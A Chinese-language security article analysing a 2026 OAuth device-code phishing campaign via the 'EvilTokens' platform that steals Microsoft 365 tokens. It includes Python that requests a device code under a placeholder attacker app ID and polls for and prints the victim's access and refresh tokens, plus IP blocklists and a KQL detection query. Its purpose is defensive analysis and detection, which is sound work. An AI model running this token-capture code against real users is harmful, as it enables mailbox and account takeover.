基于OAuth设备授权流的新型钓鱼攻击:EvilTokens攻击链分析与防御体系重构

简介: 2026年爆发的“设备代码钓鱼”攻击,利用OAuth 2.0设备授权流与Cloudflare、Railway等合法云服务,绕过传统防御窃取Microsoft 365令牌。本文深度复盘EvilTokens PhaaS平台攻击链,揭示多跳重定向、反分析机制及Refresh Token劫持技术,并提出基于零信任的日志监控、IP微隔离与令牌生命周期管理等纵深防御策略。(239字)

摘要

2026年3月,全球网络安全研究机构披露了一起大规模的“设备代码钓鱼”(Device Code Phishing)攻击事件。该事件波及美国、加拿大、澳大利亚等五国超过340家Microsoft 365组织。攻击者利用OAuth设备授权流(Device Authorization Grant Flow)的特性,结合Cloudflare Workers、Railway等合法PaaS服务,构建了难以检测的钓鱼基础设施。本文基于此次真实攻击案例,深入剖析了攻击者利用“EvilTokens”钓鱼即服务(PhaaS)平台实施的多跳重定向、反分析机制及令牌劫持技术。文章详细还原了从鱼叉邮件到令牌窃取的完整技术链,反网络钓鱼技术专家芦笛指出,此类攻击之所以成功,是因为它完全利用了合法的微软基础设施进行认证,绕过了传统的基于信誉的过滤机制。本文提供了针对OAuth令牌滥用的检测代码示例,并提出了包含网络层阻断、身份层监控及用户行为分析在内的纵深防御策略。研究表明,应对此类利用合法协议与云服务的“隐身”攻击,必须建立基于零信任原则的持续监控与即时响应机制。

关键词: OAuth 2.0;设备代码钓鱼;钓鱼即服务 (PhaaS);身份安全;Microsoft 365;攻击链分析

image.png 1. 引言

随着企业IT架构向云端迁移,身份(Identity)已取代边界成为新的安全防线。然而,传统的用户名/密码认证机制正逐渐被OAuth 2.0等令牌(Token)机制所取代。这种转变在提升用户体验的同时,也给攻击者带来了新的可乘之机。2026年2月至3月期间,Huntress与Palo Alto Networks Unit 42等机构联合披露了一起针对Microsoft 365租户的大规模攻击活动。

此次攻击不再依赖传统的恶意软件或伪造的登录页面,而是利用了OAuth协议中的“设备授权流”(RFC 8628)。攻击者通过“钓鱼即服务”(PhaaS)平台EvilTokens,利用Cloudflare Workers和Railway等合法开发平台作为跳板,诱导用户主动授权恶意应用。由于攻击流量往往表现为对合法云服务(如microsoft.com/devicelogin)的正常访问,传统的基于签名和URL黑名单的防御体系在此类攻击面前几乎完全失效。

反网络钓鱼技术专家芦笛指出:“这标志着钓鱼攻击进入了‘后页面’时代。攻击者不再需要搭建伪造的登录页,他们直接借用微软的登录页,窃取的不是密码,而是具有持久权限的访问令牌。这种‘借尸还魂’的手法,是对企业身份安全体系的严峻考验。”

本文旨在通过对此次EvilTokens攻击事件的深度复盘,从技术原理、攻击代码实现、基础设施利用到防御策略进行系统性阐述,为企业构建下一代身份安全防线提供理论依据与实践指导。

2. 攻击背景与威胁态势

2.1 OAuth设备授权流的初衷与滥用

OAuth 2.0的设备授权流最初设计用于在输入受限的设备(如智能电视、IoT设备)上获取访问令牌。其核心逻辑是:用户在受限设备上输入一个短代码,然后在另一台设备(如手机或电脑)的浏览器中完成认证。

在正常流程中,这提升了用户体验。然而,攻击者发现,如果能诱骗用户在自己的电脑上访问microsoft.com/devicelogin并输入代码,就能在不触碰用户密码的情况下,获得一个代表用户身份的Refresh Token。Huntress的研究表明,此次攻击中,威胁行为者首先通过cURL请求微软Entra ID的API获取设备代码,然后诱导受害者输入该代码,从而将生成的令牌“劫持”到攻击者控制的API端点。

2.2 攻击规模与受害者画像

根据The Hacker News披露的数据,此次攻击自2026年2月19日起呈加速态势,主要针对美国、加拿大、澳大利亚、新西兰和德国的组织。受害行业涵盖建筑、非营利组织、房地产、医疗保健及政府部门。值得注意的是,攻击者并未针对特定的高价值目标进行长期潜伏,而是采取了广撒网的策略,利用PhaaS平台的自动化能力迅速渗透大量中低防护水平的组织。

2.3 恶意生态:EvilTokens PhaaS平台

此次事件中出现的EvilTokens平台,展示了网络犯罪产业的工业化水平。该平台于2026年2月在Telegram上出现,提供全套的钓鱼工具、垃圾邮件发送服务以及绕过反病毒软件的技术。其商业模式类似于正规的SaaS服务,甚至提供24/7客户支持和用户反馈渠道。这种低门槛的攻击工具分发,使得不具备深厚技术背景的普通犯罪分子也能发起针对企业身份提供商的高级攻击。

3. 攻击技术链深度剖析

3.1 初始入侵:社会工程学与多跳重定向

攻击始于一封精心构造的钓鱼邮件。与传统钓鱼邮件直接附带恶意链接不同,此次攻击利用了安全厂商(如Cisco、Trend Micro、Mimecast)的合法重定向服务作为中间跳板。

反网络钓鱼技术专家芦笛分析指出,这种“多跳重定向链”是此次攻击的关键规避技术。攻击者利用了企业通常信任安全厂商域名的策略,将恶意URL包裹在合法的重定向服务中。流量路径通常为:受害者点击 -> 安全厂商Redirector -> 被攻陷站点/Cloudflare Workers -> Vercel -> 最终钓鱼页。这种层层嵌套的结构,有效稀释了恶意链接的信誉评分,使得基于静态黑名单的邮件网关难以拦截。

3.2 基础设施武器化:Cloudflare与Railway

攻击者大量使用了Cloudflare Workers (workers.dev) 来托管中间页面。由于Cloudflare是全球广泛信任的CDN和边缘计算服务,企业防火墙通常不会屏蔽其IP段。此外,攻击的最终认证滥用主要源自Railway.com的五个特定IP地址(如162.220.234.41等),这些IP地址承载了约84%的恶意认证流量。

这种利用合法PaaS(平台即服务)的做法,使得攻击者能够快速部署和销毁基础设施,极大地增加了溯源和阻断的难度。

3.3 核心载荷:自动化与反分析技术

Palo Alto Networks Unit 42在分析中发现,EvilTokens的钓鱼页面采用了多种反分析和反取证技术,以防止安全研究人员捕获样本:

禁用交互: 页面禁用了右键菜单、文本选择和拖拽操作。

开发者工具封锁: 通过JavaScript拦截F12、Ctrl+Shift+I/J和Ctrl+U等快捷键。

无限调试器陷阱: 利用窗口大小启发式检测(Window Size Heuristic)检测开发者工具,一旦发现即触发无限debugger循环,导致自动化分析环境卡死。

实时窃取: 页面在加载时即通过WebRTC或其他手段将受害者的浏览器Cookie外泄给攻击者。

此外,Huntress发现了一个有趣的迭代:攻击者不再手动提供代码,而是通过页面上的自动化代码生成器直接在受害者浏览器中渲染设备代码,省去了通过邮件发送代码的步骤,提高了攻击效率。

4. 技术复现与代码示例分析

为了深入理解攻击原理,本文构建了简化的技术演示环境(仅用于教学研究,严禁非法使用)。

4.1 OAuth设备代码请求模拟

攻击者的第一步是向身份提供商请求设备代码。以下是模拟攻击者使用Python请求Microsoft Entra ID设备代码的示例:

import requests

import json


def request_device_code(client_id, scope):

   """

   模拟攻击者请求设备代码

   client_id: 攻击者注册的恶意应用ID

   scope: 请求的权限范围

   """

   url = "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode"

   headers = {'Content-Type': 'application/x-www-form-urlencoded'}

   data = {

       'client_id': client_id,

       'scope': scope

   }

 

   try:

       response = requests.post(url, headers=headers, data=data)

       if response.status_code == 200:

           result = response.json()

           print(f"设备代码: {result['device_code']}")

           print(f"用户需访问: {result['verification_uri']}")

           print(f"请输入代码: {result['user_code']}")

           return result

       else:

           print(f"请求失败: {response.status_code}")

           return None

   except Exception as e:

       print(f"网络错误: {e}")


# 模拟攻击者操作

# 注意:此处的client_id为攻击者控制的恶意应用ID

malicious_client_id = "ATTACKER_REGISTERED_APP_ID"

required_scope = "Mail.Read User.Read" # 请求读取邮件和用户信息的权限


# 执行请求

device_flow_data = request_device_code(malicious_client_id, required_scope)

4.2 令牌获取与劫持逻辑

当受害者在浏览器中访问microsoft.com/devicelogin并输入代码后,微软会生成令牌。攻击者的后端服务需要轮询令牌端点以获取结果。

def poll_for_tokens(token_url, client_id, device_code):

   """

   攻击者轮询令牌端点

   在受害者完成认证后,立即获取Access Token和Refresh Token

   """

   headers = {'Content-Type': 'application/x-www-form-urlencoded'}

   data = {

       'grant_type': 'urn:ietf:params:oauth:grant-type:device_code',

       'client_id': client_id,

       'device_code': device_code

   }

 

   while True:

       try:

           response = requests.post(token_url, headers=headers, data=data)

           if response.status_code == 200:

               tokens = response.json()

               print("[+] 令牌获取成功!攻击完成。")

               print(f"访问令牌 (Access Token): {tokens['access_token']}")

               print(f"刷新令牌 (Refresh Token): {tokens['refresh_token']}")

               # 此处攻击者已获得持久化访问权限

               # 即使受害者修改密码,Refresh Token依然有效

               break

           elif response.status_code == 400:

               error = response.json().get('error')

               if error == 'authorization_pending':

                   print("[-] 等待用户授权...")

                   time.sleep(5) # 等待5秒后重试

               else:

                   print(f"错误: {error}")

                   break

       except Exception as e:

           print(f"轮询错误: {e}")

           break


# 在实际攻击中,这段代码运行在Railway或类似的PaaS服务器上

# 当Huntress捕获到对Railway IP的异常API调用时,即表明此过程正在进行

4.3 代码逻辑与防御启示

通过上述代码,我们可以清晰地看到攻击的核心:它完全依赖标准的OAuth API调用。这意味着:

无恶意软件: 攻击不涉及文件落地,EDR/XDR产品难以捕获。

合法流量: 流量指向微软官方域名,防火墙无法阻断。

持久性: 获取Refresh Token后,攻击者拥有了长期的API访问权限。

反网络钓鱼技术专家芦笛强调,在防御层面,我们不能试图在代码层面“修补”OAuth协议,而必须在身份提供层(Identity Provider Level)建立基于异常行为的检测机制。

5. 防御体系重构策略

针对EvilTokens这类利用合法协议和基础设施的攻击,传统的边界防御已失效。本文提出一套包含网络、身份、数据三层的重构防御体系。

5.1 网络层阻断:基于IP信誉的微隔离

虽然Cloudflare和Railway是合法服务,但特定的恶意IP段是可以识别的。

IP黑名单: 根据Huntress披露的IoC(威胁指标),企业应立即在防火墙或代理服务器中阻断与Railway相关的恶意IP(如162.220.234.0/24网段)。

出站流量控制: 严格限制内部用户对PaaS平台(如workers.dev, railway.app)的出站访问,除非有明确的业务需求。

5.2 身份层监控:Azure AD日志狩猎

检测是防御此类攻击的最后一道防线。企业必须建立针对Azure AD(Entra ID)日志的实时监控。

检测规则示例(KQL查询):

攻击者通常会使用特定的User-Agent或从异常IP地址进行令牌请求。以下是一个用于Azure Sentinel或Log Analytics的Kusto查询示例,用于检测来自高风险ASN(如Railway)的登录尝试:

// 检测来自已知恶意基础设施(如Railway)的异常登录

signinlogs

| where TimeGenerated > ago(1d)

| where ResultType == "0" // 成功登录

| where IPAddress has_any (

   "162.220.234", "162.220.232" // Railway恶意IP段

)

| project

   TimeGenerated,

   UserPrincipalName,

   IPAddress,

   AppDisplayName,

   ClientAppType,

   DeviceDetailModel

| extend RiskyInfrastructure = "Potential EvilTokens Traffic"

| sort by TimeGenerated desc

反网络钓鱼技术专家芦笛指出,除了IP检测,还应监控DeviceCodeOAuth相关的审计日志。任何来自非受控设备或异常地理位置的设备代码请求,都应被视为高危事件并触发告警。

5.3 数据层保护:令牌生命周期管理

由于攻击获取的是Refresh Token,且该Token在密码重置后依然有效(取决于配置),传统的“改密码”已不足以清除威胁。

强制令牌撤销: 一旦发现受感染用户,管理员必须通过PowerShell强制撤销该用户的所有Refresh Token。命令如下:

# 强制撤销用户所有刷新令牌

Revoke-AzureADUserAllRefreshToken -ObjectId "user@domain.com"

短生命周期令牌: 配置Conditional Access策略,强制实施较短的Access Token生命周期,并要求频繁的重新授权,以缩短攻击窗口。

5.4 用户教育:从“识别伪造页面”到“警惕授权请求”

传统的钓鱼培训教用户寻找“拼写错误的URL”或“低质量的Logo”,但在Device Code Phishing中,URL是真实的microsoft.com。

培训内容必须更新为:

警惕代码: 任何要求你访问microsoft.com/devicelogin并输入代码的邮件都是诈骗。

权限审查: 在授权OAuth应用时,仔细检查应用请求的权限范围(Scope)。如果一个简单的文档查看器请求“读取邮件”权限,应立即拒绝。

6. 结语

2026年的Device Code Phishing大规模攻击事件,是网络犯罪分子利用云服务合法功能进行“隐身”攻击的典型案例。EvilTokens平台的出现,标志着身份盗窃已进入“工业化服务”阶段。攻击者利用OAuth协议的信任机制,结合Cloudflare和Railway的基础设施,构建了一个难以从网络层拦截的攻击链。

反网络钓鱼技术专家芦笛最后总结道:“面对这种‘无文件、合法域名、标准协议’的三重困境,企业安全团队必须从被动的‘阻断’思维转向主动的‘检测与响应’思维。防御的核心不再是建立更高的墙,而是建立更敏锐的‘眼睛’——即对身份日志的深度分析能力和对令牌异常流转的即时反应机制。只有将安全控制点从网络边界前移至身份认证层,才能有效应对未来层出不穷的基于协议滥用的高级威胁。”

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
19天前
|
安全 JavaScript 前端开发
React2Shell 漏洞自动化凭证窃取攻击机理与防御研究
CVE-2025-55182(React2Shell)是CVSS 10.0的高危RCE漏洞,可无认证、无交互远程接管Next.js等RSC应用服务器。2026年已爆发规模化自动化凭证窃取攻击,单日入侵766台服务器。本文系统剖析漏洞机理与攻击链,构建检测、监控、防御、响应一体化闭环体系,提供可落地的代码与方案。(239字)
184 16
|
19天前
|
人工智能 安全 搜索推荐
生成式 AI 驱动下网络安全手册重构与防御体系研究
本文探讨生成式AI如何颠覆传统网络安全防御体系,指出其使静态特征检测、固定响应流程和边界信任模型全面失效。文章提出以行为意图识别、持续信任验证和人机协同决策为核心的AI原生安全框架,并提供可落地的代码实现与运营规范,助力组织构建自适应、可解释、有制衡的下一代防御能力。(239字)
100 9
|
Android开发 芯片
ESP8266-mini-d1+点灯科技——制作手机远程MP3播放器
ESP8266-mini-d1+点灯科技——制作手机远程MP3播放器
1053 0
ESP8266-mini-d1+点灯科技——制作手机远程MP3播放器
|
1月前
|
人工智能 Linux API
零基础阿里云部署OpenClaw全教程:轻量服务器+百炼大模型一键搭建与避坑指南
OpenClaw(社区昵称“小龙虾”,曾用名Clawdbot、Moltbot)是2026年主流的开源AI智能体执行框架,最大特点是**能听懂自然语言、完成真实任务**,可自动处理文件、执行代码、联网检索、收发消息、运行自动化流程,不再局限于单纯对话。对于零基础用户,最稳定、最简单的方式就是使用阿里云轻量应用服务器+官方预置镜像,搭配百炼平台提供的免费大模型额度,全程零代码、10分钟内即可拥有一台7×24小时在线的AI数字员工。
433 2
|
1月前
|
监控 安全 区块链
基于Windows Terminal的ClickFix攻击链演化与防御机制研究
本文剖析2024年兴起的“ClickFix”新型网络钓鱼攻击:攻击者从诱导用户使用Win+R转向更隐蔽的Win+X→I启动Windows Terminal执行恶意命令,绕过传统检测与安全培训。文章深入解析其多阶段载荷投递、LOLBin滥用、EtherHiding及QueueUserAPC内存注入等关键技术,并提出“零信任命令执行”理念与技术管控、认知重构并重的防御策略。(239字)
158 16
|
1月前
|
人工智能 安全 网络安全
黑客工具包武器化技术演进与防御范式重构研究
本文剖析黑客工具包武器化趋势:攻击者将开源情报、漏洞利用、社会工程学等模块集成,融合AI决策、动态载荷与规避技术,形成“傻瓜式”攻击平台,大幅降低APT门槛。文章通过代码复现揭示多阶段载荷、无文件执行等关键技术,并提出以零信任、行为检测与主动欺骗为核心的动态防御新范式。(239字)
202 8
|
19天前
|
人工智能 安全 JavaScript
基于邮件入口的网络钓鱼攻击机理与智能防御体系研究
本文针对网络钓鱼这一首要网络攻击入口(占比超75%),构建融合URL、邮件头、文本语义、页面DOM与用户行为的五维智能检测模型,提供可工程化代码实现;并提出技术防护、认知提升、制度规范、应急响应四位一体的闭环防御体系,助力个人与机构精准识别、实时阻断钓鱼威胁。(239字)
79 15
|
18天前
|
自然语言处理 搜索推荐 安全
面向职业社交平台的精准钓鱼攻击机理与防御体系研究 —— 以 LinkedIn 新型仿冒攻击为例
本文剖析LinkedIn新型精准钓鱼攻击,揭示其高仿真、快迭代、强个性化特征,提出融合URL检测、页面特征识别与流量监测的协同防御框架,并提供可落地的代码示例。实测阻断率达92%以上。(239字)
106 11
|
18天前
|
机器学习/深度学习 监控 安全
高校针对性钓鱼攻击机理与防御体系研究 —— 以哈佛大学网络安全事件为例
本文以2026年哈佛大学定向钓鱼攻击事件为样本,剖析高校精准钓鱼的技术特征(域名仿冒、信任滥用、场景定制)与社会工程逻辑,提出融合URL实时检测、SPF/DKIM/DMARC协议加固、MFA认证强化及应急闭环的多层防御体系,并提供可部署的Python检测代码,助力高校构建技术-制度-人员协同的主动防护能力。(239字)
150 11
|
19天前
|
存储 运维 安全
合规悬崖下的邮件加密与数据安全体系构建研究
本文剖析企业邮件安全面临的“合规悬崖”——因监管趋严(GDPR、DORA、网络安全法等)、技术短板与运维缺失导致的系统性合规风险。提出覆盖传输/应用/存储三层加密、SPF/DKIM/DMARC认证、DLP、零信任及审计溯源的闭环防护体系,并提供可运行代码示例,助力企业实现自动化、持续化合规运营。(239字)
91 12